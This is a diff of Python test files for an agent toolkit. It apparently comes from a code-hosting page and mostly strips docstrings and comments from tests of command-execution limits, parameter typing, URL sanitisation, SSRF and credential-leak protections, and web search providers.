result = await tool.execute(command=command, yield_time_ms=10000)
assert "chars truncated" in result
# Head portion should start with As
assert result.startswith("A")
# Tail portion should end with the exit code which comes after Bs
assert "Exit code:" in result
@pytest.mark.parametrize("runtime_parameter", ["timeout", "max_runtime"])
async def test_exec_timeout_parameter(runtime_parameter) -> None:
"""Both runtime spellings override the constructor's hard budget."""
tool = ExecTool(timeout=60)
started_at = time.monotonic()
result = await tool.execute(
@@ -993,7 +966,6 @@ async def test_exec_timeout_parameter(runtime_parameter) -> None:
async def test_exec_runtime_rejects_out_of_range(
monkeypatch, runtime_parameter, runtime,
) -> None:
"""Invalid budgets fail before spawning instead of being clamped."""
spawn = AsyncMock(side_effect=AssertionError("Invalid runtime must not start a process"))
monkeypatch.setattr(ExecTool, "_spawn", spawn)
tool = ExecTool(max_runtime=301, max_runtime_limit=300)
@@ -1082,16 +1054,11 @@ def test_exec_runtime_schema_matches_configured_limit(limit, runtime_parameter)
assert ExecTool().parameters["properties"][runtime_parameter]["maximum"] == 86400
# --- _resolve_type and nullable param tests ---
def test_resolve_type_simple_string() -> None:
"""Simple string type passes through unchanged."""
assert Tool._resolve_type("string") == "string"
def test_resolve_type_union_with_null() -> None:
"""Union type ['string', 'null'] resolves to 'string'."""
assert Tool._resolve_type(["string", "null"]) == "string"
@@ -1129,17 +1096,14 @@ def test_nullable_string_schema_enforces_enum() -> None:
def test_resolve_type_only_null() -> None:
"""Union type ['null'] resolves to None (no non-null type)."""
assert Tool._resolve_type(["null"]) is None
def test_resolve_type_none_input() -> None:
"""None input passes through as None."""
assert Tool._resolve_type(None) is None
def test_validate_nullable_param_accepts_string() -> None:
"""Nullable string param should accept a string value."""
tool = CastTestTool(
{
"type": "object",
@@ -1151,7 +1115,6 @@ def test_validate_nullable_param_accepts_string() -> None:
def test_validate_nullable_param_accepts_none() -> None:
"""Nullable string param should accept None."""
tool = CastTestTool(
{
"type": "object",
@@ -1163,7 +1126,6 @@ def test_validate_nullable_param_accepts_none() -> None:
def test_validate_nullable_flag_accepts_none() -> None:
"""OpenAI-normalized nullable params should still accept None locally."""
tool = CastTestTool(
{
"type": "object",
@@ -1175,7 +1137,6 @@ def test_validate_nullable_flag_accepts_none() -> None:
def test_cast_nullable_param_no_crash() -> None:
"""cast_params should not crash on nullable type (the original bug)."""
tool = CastTestTool(
{
"type": "object",
@@ -1,5 +1,3 @@
"""Tests that the Jina Reader path never discloses credential-bearing URLs."""
from __future__ import annotations
import json
@@ -215,7 +213,6 @@ async def test_execute_fetches_credential_urls_locally(monkeypatch) -> None:
async def test_execute_does_not_send_redirected_credential_url_to_jina(monkeypatch) -> None:
"""A plain short URL that redirects through a signed URL must stay local."""
tool = WebFetchTool()
requested: list[str] = []
-3
View File
@@ -1,5 +1,3 @@
"""Tests for web_fetch SSRF protection and untrusted content marking."""
from __future__ import annotations
import asyncio
@@ -136,7 +134,6 @@ async def test_web_fetch_blocks_localhost_even_in_full_workspace_scope(tmp_path)
@pytest.mark.asyncio
async def test_web_fetch_result_contains_untrusted_flag(monkeypatch: pytest.MonkeyPatch):
"""When fetch succeeds, result JSON must include untrusted=True and the banner."""
tool = WebFetchTool()
_patch_web_fetch_fake_client(monkeypatch)
@@ -1,5 +1,3 @@
"""Tests for web_fetch URL sanitization (backtick/quote stripping)."""
from __future__ import annotations
import json
@@ -52,8 +50,6 @@ def _patched_web_fetch():
yield
# --- urlparse / _validate_url level tests ---
@pytest.mark.parametrize("dirty_url", [
"`https://example.com/page`",
" `https://example.com/page` ",
@@ -71,8 +67,6 @@ def test_clean_url_passes_validation():
assert is_valid
# --- WebFetchTool.execute integration tests ---
@pytest.mark.asyncio
@pytest.mark.parametrize(
"url",
@@ -93,8 +87,6 @@ async def test_execute_accepts_cleanable_http_urls(url):
assert data["status"] == 200
# --- startswith guard tests ---
@pytest.mark.asyncio
@pytest.mark.parametrize(
"url",
-8
View File
@@ -1,5 +1,3 @@
"""Tests for multi-provider web search."""
import asyncio
from contextlib import asynccontextmanager
@@ -590,8 +588,6 @@ async def test_deepseek_search_rejects_blank_query(monkeypatch):
[(0, 1), (100, 50), (50, 50), (1, 1)],
)
async def test_deepseek_provider_clamps_count_to_api_range(monkeypatch, requested, expected):
# execute() caps tool-level count at 10 for every provider and the schema
# advertises the same bound, so the 1-50 API window is only exercised here.
captured: dict[str, object] = {}
async def mock_post(self, url, **kw):
@@ -732,7 +728,6 @@ async def test_deepseek_search_gives_up_after_retry_budget(
tool = _tool(provider="deepseek", api_key="deepseek-key")
result = await tool.execute(query="retry", count=1)
# One retry after the initial attempt, then a bounded failure.
assert calls["n"] == 2
assert sleeps == [1.0]
assert is_tool_error_result(result)
@@ -819,7 +814,6 @@ async def test_deepseek_whitespace_only_summary_falls_back_to_snippet(monkeypatc
@pytest.mark.asyncio
async def test_deepseek_caps_oversized_summary(monkeypatch):
"""Real responses carry summaries far longer than the documented 600-800."""
async def mock_post(self, url, **kw):
return _response(json={
"results": [
@@ -1055,7 +1049,6 @@ async def test_duckduckgo_search(monkeypatch):
@pytest.mark.asyncio
async def test_duckduckgo_search_passes_proxy(monkeypatch):
"""DDGS client must receive the configured proxy so search works behind a proxy."""
captured: dict = {}
proxy_url = "http://proxy.example:8080"
@@ -1300,7 +1293,6 @@ async def test_jina_search_uses_path_encoded_query(monkeypatch):
@pytest.mark.asyncio
async def test_duckduckgo_timeout_returns_error(monkeypatch):
"""asyncio.wait_for guard should fire when DDG search hangs."""
import threading
gate = threading.Event()